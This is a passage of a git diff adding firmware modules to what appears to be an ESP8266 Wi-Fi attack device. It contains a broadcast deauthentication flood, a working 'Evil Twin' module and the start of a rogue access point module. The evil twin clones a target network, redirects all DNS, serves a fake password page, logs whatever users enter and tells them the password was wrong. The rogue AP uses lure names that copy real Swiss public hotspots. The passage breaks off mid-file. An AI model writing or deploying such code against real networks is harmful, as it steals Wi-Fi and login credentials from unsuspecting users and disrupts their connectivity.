(Result: %d)\n", current_dos_channel, result); // Update log message + } + last_dos_packet_time = current_time; + } + + // --- Trigger Redraw Periodically --- + if (packet_sent_this_cycle && (current_time - last_dos_redraw_time > 500)) { // Update ~2 times/sec + needsRedraw = true; + last_dos_redraw_time = current_time; + } + + yield(); // Prevent WDT reset +} + +// --- UI Drawing Function --- +void dos_draw() { + oled.setFont(u8g2_font_6x10_tf); + + if (dos_flood_active) { + oled.drawStr(0, 25, "DoS Flood Active!"); + char count_str[30]; + snprintf(count_str, sizeof(count_str), "Sent: %lu", dos_packets_sent); + oled.drawStr(0, 40, count_str); + char chan_str[20]; + snprintf(chan_str, sizeof(chan_str), "Channel: %d (Fixed)", current_dos_channel); + oled.drawStr(0, 55, chan_str); + oled.drawStr(0, SCREEN_HEIGHT - 1, "LONG: Stop"); + } else { + oled.drawStr(0, 30, "DoS Flood Ready"); + oled.drawStr(0, 45, "(Broadcast Deauth)"); + oled.drawStr(0, SCREEN_HEIGHT - 1, "LONG: Start"); + } +} + +// --- Input Handling Function --- +void dos_handle_input(ButtonPressType pressType) { + if (pressType == ButtonPressType::LONG_PRESS) { + if (dos_flood_active) { + // Stop the flood + dos_stop(); + // dos_flood_active is set to false inside dos_stop() + } else { + // Start the flood (targeting self for now) + dos_flood_active = true; + dos_packets_sent = 0; // Reset counter + current_dos_channel = 1; // Set FIXED channel + Serial.println("DoS Flood Started (Targeting Self)."); + + // <<< ADD WiFi Reset Steps >>> + Serial.println("DoS Start: Disconnecting WiFi..."); + WiFi.disconnect(); // Force disconnect to reset state + delay(100); // Allow time for disconnect to process + + wifi_set_opmode(STATION_MODE); // <<< Explicitly set STA mode + Serial.println("DoS Start: Set opmode to STATION_MODE."); + delay(50); // Short delay after setting mode + + wifi_promiscuous_enable(1); // Enable promiscuous mode + Serial.println("DoS Start: Enabled promiscuous mode."); + delay(50); // Short delay after enabling promiscuous + + bool channel_set_ok = wifi_set_channel(current_dos_channel); // Set initial channel + if (!channel_set_ok) { + Serial.printf("DoS Start: Set initial channel %d -> FAIL\n", current_dos_channel); + wifi_promiscuous_enable(0); // Clean up on failure + dos_flood_active = false; // Don't start if channel set failed + return; // Don't proceed if channel set failed + } else { + Serial.printf("DoS Start: Set initial channel %d -> OK\n", current_dos_channel); + delay(5); // Short delay after channel set + } + last_dos_packet_time = millis(); // Initialize timers + last_dos_redraw_time = millis(); + needsRedraw = true; + } + } + // Short press currently does nothing in this mode +} \ No newline at end of file diff --git a/src/dos.h b/src/dos.h new file mode 100644 index 0000000..70ef24d --- /dev/null +++ b/src/dos.h @@ -0,0 +1,21 @@ +#ifndef DOS_H +#define DOS_H + +#include +#include "ui.h" // For ButtonPressType, needsRedraw, etc. + +// --- Constants --- +#define DOS_PACKET_INTERVAL 50 // Milliseconds between packets (Increased for testing) +#define DOS_CHANNEL_HOP_INTERVAL 250 // Milliseconds on each channel + +// --- State --- +extern bool dos_flood_active; // Make active flag visible externally if needed + +// --- Function Prototypes --- +void dos_init(); +void dos_stop(); +void dos_update(); +void dos_draw(); +void dos_handle_input(ButtonPressType pressType); + +#endif // DOS_H \ No newline at end of file diff --git a/src/mitm.cpp b/src/mitm.cpp new file mode 100644 index 0000000..3ec5321 --- /dev/null +++ b/src/mitm.cpp @@ -0,0 +1,633 @@ +#include "mitm.h" +#include "config.h" +#include "utils.h" +#include "ui.h" // For needsRedraw, oled access +#include "scanner.h" // <<< Include scanner header for AP list access +#include +#include // For DNS Spoofing +#include // For Captive Portal + +// --- External UI Elements --- +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C oled; +extern bool needsRedraw; +extern UIState currentState; // To potentially switch back to main menu + +// --- MitM Module State --- +static MitmState currentMitmState = MITM_STATE_IDLE; +static char target_ssid[33] = "[No Target]"; // Store selected target SSID +static uint8_t target_bssid[6] = {0}; // Store selected target BSSID (optional, for deauth) +static char captured_password[65] = ""; // To store captured password +static IPAddress apIP(192, 168, 4, 1); // IP address for the Rogue AP +static IPAddress netMsk(255, 255, 255, 0); + +// --- Target Selection State --- +static int mitm_selected_ap_index = 0; // Index in the scanner's ap_list +static int mitm_display_offset = 0; // For scrolling the AP list + +// --- Captured Password Count --- +static int captured_password_count = 0; // Count how many passwords have been submitted + +// --- Logged Password Storage --- +const int MAX_LOGGED_PASSWORDS = 10; +const int MAX_PASSWORD_LEN = 64; // Max length for a single password (+1 for null) +static char logged_passwords[MAX_LOGGED_PASSWORDS][MAX_PASSWORD_LEN + 1]; +static int logged_password_idx = 0; // Index for the *next* slot to write to (circular buffer) +static int view_log_scroll_offset = 0; // For scrolling the log view on OLED + +// --- Login Error State --- +static bool show_login_error = false; // Flag to indicate if the error message should be shown + +// --- Waiting Animation State --- +static char waiting_anim_char = '|'; +static unsigned long last_anim_time = 0; +const unsigned long ANIM_INTERVAL = 250; // Milliseconds between animation frames + +// --- Capture Alarm State --- +static bool new_password_captured = false; // Flag set when a new password arrives +static unsigned long capture_alarm_start_time = 0; // When the alarm started +const unsigned long CAPTURE_ALARM_DURATION = 1500; // How long the alarm effect lasts (milliseconds) + +// --- Logged Blinking State --- +const unsigned long LOGGED_BLINK_INTERVAL = 500; // Blink rate (milliseconds on/off) +static unsigned long last_blink_time = 0; // Timer for blinking redraw trigger +static bool logged_text_visible = true; // State for blinking visibility + +// --- Server Instances --- +DNSServer dnsServer; +ESP8266WebServer webServer(80); // Web server on port 80 + +// --- Captive Portal HTML --- +// Basic HTML for a fake login page. Can be customized extensively. +const char* captivePortalHTML = R"rawliteral( + + + + +WiFi Login + + + +
+

Connect to WiFi

+

Please enter the password for '%s'

+

%s

+
+
+ +
+
+ + +)rawliteral"; + +// --- Forward Declarations for Web Handlers --- +void handleRoot(); +void handleLogin(); +void handleNotFound(); +void sendCaptivePortalHTML(const char* ssid, const char* error_message); // Helper function + +// --- Initialization --- +void mitm_init() { + Serial.println("MitM Module Initialized."); + currentMitmState = MITM_STATE_IDLE; + strncpy(target_ssid, "[No Target]", sizeof(target_ssid) -1); // Initialize with no target + // Any other one-time setup +} + +// --- Start MitM Attack --- +void mitm_start() { + // Prevent starting only if already active or transitioning + if (currentMitmState == MITM_STATE_STARTING || + currentMitmState == MITM_STATE_RUNNING || + currentMitmState == MITM_STATE_STOPPING) { + Serial.println("MitM Start: Already running or starting."); + return; + } + // Check if a valid target has been selected + if (strcmp(target_ssid, "[No Target]") == 0 || target_ssid[0] == '\0') { + Serial.println("MitM Start: No target AP selected!"); + // Optionally switch back to select state or show error on OLED? + // For now, just return. + return; + } + Serial.println("MitM Starting..."); + currentMitmState = MITM_STATE_STARTING; + needsRedraw = true; + + // Clear previous logs and counters on new start + captured_password_count = 0; + logged_password_idx = 0; + view_log_scroll_offset = 0; + memset(logged_passwords, 0, sizeof(logged_passwords)); // Clear the array + + // TODO: + // 1. Configure and start Rogue AP (WiFi.softAPConfig, WiFi.softAP) + // 2. Configure and start DNS Server (dnsServer.start) + // 3. Configure Web Server handlers (webServer.on, webServer.onNotFound) + // 4. Start Web Server (webServer.begin) + // 5. Optionally start Deauth attack against real AP + + // --- Placeholder Setup --- + Serial.printf("MitM: Setting up Evil Twin AP: %s\n", target_ssid); + WiFi.mode(WIFI_AP); // Switch to AP mode + WiFi.softAPConfig(apIP, apIP, netMsk); + // Use an open network for simplicity first, add password later if needed + bool ap_started = WiFi.softAP(target_ssid); + + if (ap_started) { + Serial.printf("MitM: Rogue AP Started. IP: %s\n", WiFi.softAPIP().toString().c_str()); + + // Start DNS + Serial.println("MitM: Starting DNS Server."); + // Redirect all domains to our AP's IP address + dnsServer.setErrorReplyCode(DNSReplyCode::NoError); + dnsServer.start(53, "*", apIP); // Port 53, capture all domains + + // Start Web Server (Define handlers later) + Serial.println("MitM: Starting Web Server."); + webServer.on("/", HTTP_GET, handleRoot); // Serve the login page + webServer.on("/login", HTTP_POST, handleLogin); // Handle form submission + webServer.onNotFound(handleNotFound); // Redirect other requests (Captive Portal) + webServer.begin(); + + Serial.println("MitM: Running."); + currentMitmState = MITM_STATE_RUNNING; + } else { + Serial.println("!!! MitM: Failed to start Rogue AP!"); + mitm_stop(); // Cleanup on failure + } + needsRedraw = true; +} + +// --- Stop MitM Attack --- +void mitm_stop() { + Serial.println("MitM Stopping..."); + currentMitmState = MITM_STATE_STOPPING; + + // Stop servers and WiFi AP + webServer.stop(); + dnsServer.stop(); + WiFi.softAPdisconnect(true); // Disconnect clients and stop AP + WiFi.mode(WIFI_STA); // Return to STA mode + WiFi.disconnect(); // Disconnect from any network + + // Clear captured data + memset(captured_password, 0, sizeof(captured_password)); + + // Clear captured data count + captured_password_count = 0; + + // Clear log state + logged_password_idx = 0; + view_log_scroll_offset = 0; + memset(logged_passwords, 0, sizeof(logged_passwords)); // Clear the array + + Serial.println("MitM Stopped."); + currentMitmState = MITM_STATE_IDLE; + needsRedraw = true; +} + +// --- Main Update Loop --- +void mitm_update() { + // Only run updates if the MitM module is in the RUNNING state + if (currentMitmState == MITM_STATE_RUNNING) { + + // --- Handle Network Tasks --- + // Process any incoming DNS requests (for captive portal redirection) + dnsServer.processNextRequest(); + // Process any incoming web requests to the captive portal server + webServer.handleClient(); + + // --- Handle UI Updates (Animation/Blinking) --- + // Get the current time once to use for timing checks below + unsigned long currentMillis = millis(); + + // Check if any passwords have been captured yet + if (captured_password_count == 0) { + // --- No passwords captured: Update "Waiting..." Animation --- + // Check if it's time for the next animation frame + if (currentMillis - last_anim_time > ANIM_INTERVAL) { + last_anim_time = currentMillis; // Reset the animation timer + + // Cycle through the animation characters: | / - \ + // This switch statement selects the next character based on the current one + switch (waiting_anim_char) { + case '|': waiting_anim_char = '/'; break; + case '/': waiting_anim_char = '-'; break; + case '-': waiting_anim_char = '\\'; break; // Use double backslash for the character + case '\\': waiting_anim_char = '|'; break; + default: waiting_anim_char = '|'; break; // If something unexpected happens, reset + } // End of switch statement + + // We need to redraw the screen to show the new animation character + needsRedraw = true; + } + } else { + // --- Passwords HAVE been captured: Update "Logged: X" Blinking --- + // Check if it's time to toggle the blink state (on/off) + if (currentMillis - last_blink_time > LOGGED_BLINK_INTERVAL) { + last_blink_time = currentMillis; // Reset the blink timer + // We need to redraw the screen to potentially change the visibility + needsRedraw = true; + } + } + } // End of if (currentMitmState == MITM_STATE_RUNNING) + + // You could add other state updates outside the RUNNING check if needed + // For example, handling timeouts or other background tasks for MitM. +} // End of mitm_update function + +// --- Helper to Send Captive Portal HTML (Chunked) --- +void sendCaptivePortalHTML(const char* ssid, const char* error_message) { + // Find placeholders + const char* ssidPlaceholderPos = strstr(captivePortalHTML, "%s"); + const char* errorPlaceholderPos = ssidPlaceholderPos ? strstr(ssidPlaceholderPos + 2, "%s") : nullptr; // Find second %s + + if (!ssidPlaceholderPos || !errorPlaceholderPos) { + Serial.println("MitM Web Helper: Error! Placeholders not found in HTML."); + webServer.send(500, "text/plain", "Internal Server Error: Portal template invalid."); + return; + } + + // Calculate lengths + size_t part1Len = ssidPlaceholderPos - captivePortalHTML; + size_t ssidLen = strlen(ssid); + size_t part2Len = errorPlaceholderPos - (ssidPlaceholderPos + 2); + size_t errorLen = strlen(error_message); + size_t part3Len = strlen(errorPlaceholderPos + 2); + size_t totalLen = part1Len + ssidLen + part2Len + errorLen + part3Len; + + // Send headers + webServer.setContentLength(totalLen); + webServer.send(200, "text/html", ""); // Send headers, empty content + + // Send content in chunks + webServer.sendContent_P(captivePortalHTML, part1Len); + webServer.sendContent(ssid, ssidLen); + webServer.sendContent_P(ssidPlaceholderPos + 2, part2Len); + webServer.sendContent(error_message, errorLen); + webServer.sendContent_P(errorPlaceholderPos + 2, part3Len); + + webServer.client().stop(); // Close connection + Serial.println("MitM Web Helper: Finished sending chunked response."); +} + +// --- Web Server Handlers --- + +void handleRoot() { + Serial.println("MitM Web: Serving root page (chunked)."); + const char* error_msg = ""; + if (show_login_error) { + Serial.println("MitM Web: Login error flag is set, showing error message."); + error_msg = "Incorrect Password. Please try again."; + show_login_error = false; // Reset the flag after using it + } + sendCaptivePortalHTML(target_ssid, error_msg); +} + +void handleLogin() { + Serial.println("MitM Web: Received POST to /login"); + if (webServer.hasArg("password")) { + String password = webServer.arg("password"); + Serial.printf("MitM Web: Potential Password Captured: %s\n", password.c_str()); + + // Store the password in the log array (circular buffer) + strncpy(logged_passwords[logged_password_idx], password.c_str(), MAX_PASSWORD_LEN); + logged_passwords[logged_password_idx][MAX_PASSWORD_LEN] = '\0'; // Ensure null termination + logged_password_idx = (logged_password_idx + 1) % MAX_LOGGED_PASSWORDS; // Move to next slot, wrap around + + captured_password_count++; // Increment count + new_password_captured = true; + capture_alarm_start_time = millis(); + needsRedraw = true; // Force UI redraw to update count if needed + + // Set the flag to show the error on the next page load + show_login_error = true; + + // Redirect the client back to the root page + webServer.sendHeader("Location", "/", true); + webServer.send(302, "text/plain", "Password Incorrect - Redirecting..."); // 302 Found + } else { + Serial.println("MitM Web: Login POST received, but no 'password' argument."); + webServer.send(400, "text/plain", "Bad Request: Missing password field."); + } +} + +void handleNotFound() { + // Redirect to root page (captive portal trigger) + Serial.println("MitM Web: handleNotFound triggered, redirecting."); + webServer.sendHeader("Location", "/", true); // Redirect to root + webServer.send(302, "text/plain", ""); // 302 Found status code +} + +// --- Draw MitM UI --- +void mitm_draw() { + oled.setFont(u8g2_font_6x10_tf); // Ensure default font at start + switch (currentMitmState) { + case MITM_STATE_IDLE: + // Draw Title + oled.drawStr(0, 25, "Evil Twin Ready"); // Keep at default position for now + + // Draw Target Label (Small) + oled.setFont(u8g2_font_5x7_tf); + oled.drawStr(0, 40, "Target SSID:"); + oled.setFont(u8g2_font_6x10_tf); // Back to default font + + // Draw Target SSID (Default Font) + oled.drawStr(0, 52, target_ssid); + + // Draw Footer (Small) + oled.setFont(u8g2_font_5x7_tf); + oled.drawStr(0, SCREEN_HEIGHT - 1, "LONG: Select Target"); + oled.setFont(u8g2_font_6x10_tf); // Back to default font + break; + case MITM_STATE_SELECT_TARGET: + { // Block scope for local variables + oled.drawStr(0, 24, "Select Target AP:"); + // oled.drawLine(0, 26, SCREEN_WIDTH, 26); // Line removed + + const int items_per_page = 3; // Keep showing 3 APs + int yPos = 32; // Start list items at Y=32 + int line_height = 11; + + if (ap_count == 0) { + oled.drawStr(10, 40, "[No APs Found]"); + oled.drawStr(10, 52, "Run Scanner First!"); + } else { + for (int i = 0; i < items_per_page; ++i) { + int current_item_index = mitm_display_offset + i; + if (current_item_index >= ap_count) break; // Stop if we run out of APs + + AccessPointInfo* ap = &ap_list[current_item_index]; + char buffer[40]; // <<< INCREASE BUFFER SIZE (e.g., to 40) + char select_char = (current_item_index == mitm_selected_ap_index) ? '>' : ' '; + String encStr = encryption_to_string(ap->encryption); // Assuming you have this function from scanner + + snprintf(buffer, sizeof(buffer), "%c%-16.16s %s", select_char, ap->ssid[0] ? ap->ssid : "[Hidden]", encStr.c_str()); + oled.drawStr(0, yPos + (i * line_height), buffer); + } + // Draw scroll indicators if needed (similar to scanner) + if (ap_count > items_per_page) { + if (mitm_display_offset > 0) oled.drawTriangle(SCREEN_WIDTH - 6, 28, SCREEN_WIDTH - 9, 31, SCREEN_WIDTH - 3, 31); // Up (Y=28-31) + if (mitm_display_offset + items_per_page < ap_count) oled.drawTriangle(SCREEN_WIDTH - 6, SCREEN_HEIGHT - 3, SCREEN_WIDTH - 9, SCREEN_HEIGHT - 7, SCREEN_WIDTH - 3, SCREEN_HEIGHT - 7); // Down + } + } + oled.drawStr(0, SCREEN_HEIGHT - 1, "S:Scroll L:Select"); + } + break; + case MITM_STATE_STARTING: + oled.drawStr(0, 30, "MitM Starting..."); + break; + case MITM_STATE_RUNNING: + { // Block scope + // Draw Title (Moved up) + oled.drawStr(0, 10, "Evil Twin Active"); // Draw just below header line + + // Draw AP Info + oled.drawStr(0, 24, "AP:"); + oled.drawStr(18, 24, target_ssid); + + // Draw Status (Waiting animation or Logged count) + char footer_text[20]; // Buffer for footer text + if (captured_password_count > 0) { + // --- Handle Capture Alarm & Blinking --- + bool draw_inverted = false; + bool draw_normal = true; // Assume we draw normally unless blinking off + + if (new_password_captured) { + if (millis() - capture_alarm_start_time < CAPTURE_ALARM_DURATION) { + draw_inverted = true; // Still within alarm duration + draw_normal = false; // Don't draw normally during alarm + } else { + new_password_captured = false; // Alarm duration ended + } + } + + // If alarm is not active, handle blinking + if (!draw_inverted) { + // Toggle visibility based on time interval + logged_text_visible = (millis() / LOGGED_BLINK_INTERVAL) % 2 == 0; + if (!logged_text_visible) { + draw_normal = false; // Don't draw if in the "off" blink phase + } + } + // --- End Alarm & Blinking Handling --- + + char count_buffer[20]; + snprintf(count_buffer, sizeof(count_buffer), "Logged: %d", captured_password_count); + + // Draw the "Logged: X" text (normal or inverted) + int text_y = 38; + int text_width = oled.getStrWidth(count_buffer); + int text_height = 10; // Font height + if (draw_inverted) { + oled.setDrawColor(1); // Set color to foreground (white) + oled.drawBox(0, text_y - text_height + 1, text_width + 2, text_height + 1); // Draw black box behind text area + oled.setDrawColor(0); // Set color to background (black) for text + oled.drawStr(1, text_y, count_buffer); // Draw text slightly offset within box + oled.setDrawColor(1); // IMPORTANT: Reset draw color to foreground for other elements + } else if (draw_normal) { // Only draw normally if not inverted and not in blink "off" phase + oled.drawStr(0, text_y, count_buffer); // Draw normally + } + + strncpy(footer_text, "S:Logs L:Stop", sizeof(footer_text)); + } else { + char waiting_buffer[15]; + snprintf(waiting_buffer, sizeof(waiting_buffer), "Waiting %c", waiting_anim_char); + oled.drawStr(0, 38, waiting_buffer); // Draw waiting text + animation + strncpy(footer_text, "LONG: Stop", sizeof(footer_text)); + } + footer_text[sizeof(footer_text)-1] = '\0'; // Ensure null termination + + // Draw Footer (Small) + oled.setFont(u8g2_font_5x7_tf); + oled.drawStr(0, SCREEN_HEIGHT - 1, footer_text); + oled.setFont(u8g2_font_6x10_tf); // Back to default font + } // End block scope + break; + case MITM_STATE_STOPPING: + oled.drawStr(0, 30, "MitM Stopping..."); + break; + case MITM_STATE_VIEW_LOGS: + { // Block scope for VIEW_LOGS state + int displayable_logs = min(captured_password_count, MAX_LOGGED_PASSWORDS); + int font_height = 10; // Approx height of the font used (6x10) + int line_spacing = font_height + 1; // Y distance between lines (11) + int start_y = 24; // Y position for the first line of the password (Reverted) + + if (displayable_logs == 0) { + oled.drawStr(10, 40, "[No Logs Yet]"); // Keep this centered vertically + } else { + // --- Draw Scroll Indicators (Page Up/Down) --- + // Up arrow if not showing the first log (index 0) + if (view_log_scroll_offset > 0) { + oled.drawTriangle(SCREEN_WIDTH - 6, 16, SCREEN_WIDTH - 9, 20, SCREEN_WIDTH - 3, 20); // Up + } + // Down arrow if not showing the last log + if (view_log_scroll_offset < displayable_logs - 1) { + oled.drawTriangle(SCREEN_WIDTH - 6, SCREEN_HEIGHT - 3, SCREEN_WIDTH - 9, SCREEN_HEIGHT - 7, SCREEN_WIDTH - 3, SCREEN_HEIGHT - 7); // Down + } + + // --- Calculate index of the single password to display --- + int log_index_to_display = view_log_scroll_offset; // 0-based index of the log entry + + // Calculate actual index in circular buffer + int start_idx; + if (captured_password_count <= MAX_LOGGED_PASSWORDS) { + start_idx = 0; + } else { + start_idx = logged_password_idx; + } + int actual_idx = (start_idx + log_index_to_display) % MAX_LOGGED_PASSWORDS; + + // --- Draw the selected password across up to 4 lines --- + const char* password = logged_passwords[actual_idx]; + int password_len = strlen(password); + + // Draw Prefix "N:" (e.g., "1:", "2:") + char prefix_buffer[6]; + snprintf(prefix_buffer, sizeof(prefix_buffer), "%d:", log_index_to_display + 1); + oled.drawStr(0, start_y, prefix_buffer); // Draw prefix on the first line + int prefix_width = oled.getStrWidth(prefix_buffer); + prefix_width += 2; // Gap + + const int chars_per_line = 17; + char line_buf[chars_per_line + 1]; + int current_offset = 0; // Start at the beginning of the password string + + // Draw up to 4 lines + for (int line_num = 0; line_num < 4; ++line_num) { + if (current_offset >= password_len) break; // Stop if we've drawn the whole password + + int chars_to_draw = min(password_len - current_offset, chars_per_line); + strncpy(line_buf, password + current_offset, chars_to_draw); + line_buf[chars_to_draw] = '\0'; + oled.drawStr(prefix_width, start_y + (line_num * line_spacing), line_buf); + + current_offset += chars_to_draw; // Move offset for the next line + } + } + // --- Draw Footer with smaller font --- + oled.setFont(u8g2_font_5x7_tf); // Use a smaller font (e.g., 5x7) + oled.drawStr(0, SCREEN_HEIGHT - 1, "S:Next L:Back"); // Updated footer text + oled.setFont(u8g2_font_6x10_tf); // <<< IMPORTANT: Set font back to default for next draw cycle + } // End block scope + break; + default: + oled.drawStr(0, 30, "MitM Unknown State"); + break; + } +} + +// --- Handle Button Input --- +void mitm_handle_input(ButtonPressType pressType) { + switch (currentMitmState) { + case MITM_STATE_IDLE: + if (pressType == ButtonPressType::LONG_PRESS) { + // Enter selection mode + currentMitmState = MITM_STATE_SELECT_TARGET; + mitm_selected_ap_index = 0; // Reset selection + mitm_display_offset = 0; + needsRedraw = true; + Serial.println("MitM: Entering Target Selection Mode."); + } + break; + + case MITM_STATE_SELECT_TARGET: + if (ap_count > 0) { // Only handle input if there are APs + const int items_per_page = 3; // <<< Update items per page here too + if (pressType == ButtonPressType::SHORT_PRESS) { + // Scroll down + mitm_selected_ap_index = (mitm_selected_ap_index + 1) % ap_count; + // Adjust display offset + if (mitm_selected_ap_index < mitm_display_offset) mitm_display_offset = mitm_selected_ap_index; + else if (mitm_selected_ap_index >= mitm_display_offset + items_per_page) mitm_display_offset = mitm_selected_ap_index - items_per_page + 1; + needsRedraw = true; + } else if (pressType == ButtonPressType::LONG_PRESS) { + // Select the highlighted AP + AccessPointInfo* selectedAP = &ap_list[mitm_selected_ap_index]; + strncpy(target_ssid, selectedAP->ssid, sizeof(target_ssid) - 1); + target_ssid[sizeof(target_ssid) - 1] = '\0'; // Ensure null termination + memcpy(target_bssid, selectedAP->bssid, 6); + Serial.printf("MitM: Target Selected: %s (%s)\n", target_ssid, macToString(target_bssid).c_str()); + mitm_start(); // Attempt to start the attack with the selected target + // mitm_start will change the state if successful + } + } else if (pressType == ButtonPressType::LONG_PRESS) { + // Allow long press to go back even if list is empty + currentMitmState = MITM_STATE_IDLE; + needsRedraw = true; + } + break; + + case MITM_STATE_RUNNING: + if (pressType == ButtonPressType::LONG_PRESS) { + mitm_stop(); + } else if (pressType == ButtonPressType::SHORT_PRESS) { + // Enter log view mode if passwords have been captured + if (captured_password_count > 0) { + currentMitmState = MITM_STATE_VIEW_LOGS; + view_log_scroll_offset = 0; // Start scroll at the top + needsRedraw = true; + Serial.println("MitM: Entering Log View Mode."); + } + } + break; + + case MITM_STATE_STARTING: + case MITM_STATE_STOPPING: + // Ignore input while starting/stopping for now + break; + + case MITM_STATE_VIEW_LOGS: + { // Block scope + int displayable_logs = min(captured_password_count, MAX_LOGGED_PASSWORDS); + + if (pressType == ButtonPressType::LONG_PRESS) { + // Go back to running state + currentMitmState = MITM_STATE_RUNNING; + needsRedraw = true; + Serial.println("MitM: Exiting Log View Mode."); + } else if (pressType == ButtonPressType::SHORT_PRESS) { + // Go to the next password log (if possible) + if (displayable_logs > 0 && view_log_scroll_offset < displayable_logs - 1) { + view_log_scroll_offset++; + needsRedraw = true; + } else { + // Optional: Add wrap-around or visual feedback if at the end + needsRedraw = true; + } + } + } // End block scope + break; + + default: + // Should not happen, maybe return to idle on long press? + if (pressType == ButtonPressType::LONG_PRESS) { + currentMitmState = MITM_STATE_IDLE; + needsRedraw = true; + } + break; + } + // Old logic: + /* if (pressType == ButtonPressType::LONG_PRESS) { + if (currentMitmState == MITM_STATE_RUNNING || currentMitmState == MITM_STATE_CAPTURED) { + mitm_stop(); + } else if (currentMitmState == MITM_STATE_IDLE) { + mitm_start(); + } + // If starting/stopping, long press might cancel or do nothing yet + } */ + // Short press could be used later for selecting targets or viewing details +} + +// --- Get Current State --- +MitmState mitm_get_current_state() { + return currentMitmState; +} \ No newline at end of file diff --git a/src/mitm.h b/src/mitm.h new file mode 100644 index 0000000..9811cfe --- /dev/null +++ b/src/mitm.h @@ -0,0 +1,43 @@ +#ifndef MITM_H +#define MITM_H + +#include +#include "config.h" // Include if needed for specific pins or settings +#include "ui.h" // For ButtonPressType, maybe UIState if needed internally + +// --- MitM Attack States --- +typedef enum { + MITM_STATE_IDLE, // Not active, ready to be configured/started + MITM_STATE_SELECT_TARGET,// <<< UI state for selecting the target AP + MITM_STATE_STARTING, // Setting up Rogue AP, DNS, Web Server, Deauth + MITM_STATE_RUNNING, // Actively waiting for clients and credentials + MITM_STATE_CAPTURED, // Credentials have been captured + MITM_STATE_VIEW_LOGS, // <<< New state to view captured passwords + MITM_STATE_STOPPING // Cleaning up resources +} MitmState; + +// --- Function Declarations --- + +// Initialization (called once in setup) +void mitm_init(); + +// Start the MitM attack process (potentially takes target AP info) +// void mitm_start(const AccessPointInfo& targetAP); // Example if using scanner data +void mitm_start(); // Simpler start for now + +// Stop the MitM attack and clean up +void mitm_stop(); + +// Main update loop (called repeatedly in loop when in MITM_MODE) +void mitm_update(); + +// Draw the MitM UI on the OLED +void mitm_draw(); + +// Handle button input when in MITM_MODE +void mitm_handle_input(ButtonPressType pressType); + +// Get the current internal state of the MitM module +MitmState mitm_get_current_state(); // Optional getter + +#endif // MITM_H \ No newline at end of file diff --git a/src/rogue_ap.cpp b/src/rogue_ap.cpp new file mode 100644 index 0000000..215774e --- /dev/null +++ b/src/rogue_ap.cpp @@ -0,0 +1,635 @@ +#include "rogue_ap.h" +#include "ui.h" // May need UI interaction later +#include "config.h" // For screen dimensions etc. +#include "utils.h" // For utility functions if needed +#include +#include +#include +#include // Needed for web server argument handling + +// --- External UI Elements --- +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C oled; +extern bool needsRedraw; +extern UIState currentState; // To potentially switch back to main menu + +// --- Predefined SSIDs --- +const char* rogue_ap_ssid_options[ROGUE_AP_SSID_COUNT] = { + "Swiscom_Free_WiFi", + "Airport_Guest_WiFi", + "Migros_Guest_WiFi", // Duplicate as requested + "Mall_CH_WiFi", + "FreeStadtNetz", + "SBB_Free_WiFi", + "Hotel_Guest_CH", + "Campus_WiFi_Open", + "OpenParkingNet", + "Klinik_GuestWiFi", + "Library_Free_CH", + "Messe_Open", + "Fitness_GuestWiFi", + "Mobility_OpenNet", + "Migros_Guest_WiFi", // Duplicate as requested + "Cafe_Open_WiFi", + "Post_Free_WiFi" // Added new SSID +}; + +// --- State Variables --- +RogueAPState currentRogueAPState = ROGUE_AP_STATE_IDLE; +static int selected_ssid_index = 0; +static int display_ssid_offset = 0; // For scrolling SSID list +static char active_ssid[MAX_SSID_LEN + 1] = ""; // Currently active SSID + +// --- Credential Logging --- +RogueCapturedCredentials captured_credentials_log[MAX_ROGUE_LOGS]; +int captured_creds_count = 0; // Total number of *sets* captured +static int next_log_slot = 0; // Index for the next log entry (circular) +static int view_log_scroll_offset = 0; // For scrolling through logs +static bool new_capture_flag = false; // Flag for capture alert +static unsigned long capture_alert_start_time = 0; +const unsigned long CAPTURE_ALERT_DURATION = 1500; // ms + +// --- Network Server Instances --- +static DNSServer dnsServer_rogue; +static ESP8266WebServer webServer_rogue(80); +static IPAddress rogueAP_IP(192, 168, 4, 1); +static IPAddress rogueAP_NetMsk(255, 255, 255, 0); + +// --- Waiting Animation State (similar to MitM) --- +static char waiting_anim_char_rogue = '|'; +static unsigned long last_anim_time_rogue = 0; +const unsigned long ROGUE_ANIM_INTERVAL = 250; // ms + +// --- Forward Declarations for Web Handlers --- +void handleRoot_Rogue(); +void handleLogin_Rogue(); +void handleNotFound_Rogue(); +void sendCaptivePortalHTML_Rogue(const char* error_message); + +// --- Initialization --- +void rogue_ap_init() { + Serial.println("Rogue AP Module Initialized."); + currentRogueAPState = ROGUE_AP_STATE_IDLE; + selected_ssid_index = 0; + display_ssid_offset = 0; + active_ssid[0] = '\0'; + captured_creds_count = 0; + next_log_slot = 0; + view_log_scroll_offset = 0; + // Clear log buffer initially + memset(captured_credentials_log, 0, sizeof(captured_credentials_log)); +} + +// --- Start Rogue AP --- +void rogue_ap_start() { + if (currentRogueAPState != ROGUE_AP_STATE_SELECT_SSID) { + Serial.println("Rogue AP Start: Cannot start, not in selection state."); + return; // Should only start after selection + } + if (selected_ssid_index < 0 || selected_ssid_index >= ROGUE_AP_SSID_COUNT) { + Serial.println("Rogue AP Start: Invalid SSID index selected."); + currentRogueAPState = ROGUE_AP_STATE_IDLE; // Go back to idle + needsRedraw = true; + return; + } + + strncpy(active_ssid, rogue_ap_ssid_options[selected_ssid_index], MAX_SSID_LEN); + active_ssid[MAX_SSID_LEN] = '\0'; // Ensure null termination + + Serial.printf("Rogue AP Starting with SSID: %s\n", active_ssid); + currentRogueAPState = ROGUE_AP_STATE_STARTING; + needsRedraw = true; + + // Reset logs for the new session + captured_creds_count = 0; + next_log_slot = 0; + view_log_scroll_offset = 0; + memset(captured_credentials_log, 0, sizeof(captured_credentials_log)); + + // Configure and start WiFi AP + WiFi.mode(WIFI_AP); + WiFi.softAPConfig(rogueAP_IP, rogueAP_IP, rogueAP_NetMsk); + bool ap_started = WiFi.softAP(active_ssid); // Open network + + if (ap_started) { + Serial.printf("Rogue AP Started. IP: %s\n", WiFi.softAPIP().toString().c_str()); + + // Start DNS Server + dnsServer_rogue.setErrorReplyCode(DNSReplyCode::NoError); + dnsServer_rogue.start(53, "*", rogueAP_IP); // DNS port 53, redirect all domains + Serial.println("Rogue AP: DNS Server Started."); + + // Configure and Start Web Server + webServer_rogue.on("/", HTTP_GET, handleRoot_Rogue); + webServer_rogue.on("/login", HTTP_POST, handleLogin_Rogue); // Endpoint for form submission + webServer_rogue.onNotFound(handleNotFound_Rogue); // Captive portal redirection + webServer_rogue.begin(); + Serial.println("Rogue AP: Web Server Started."); + + 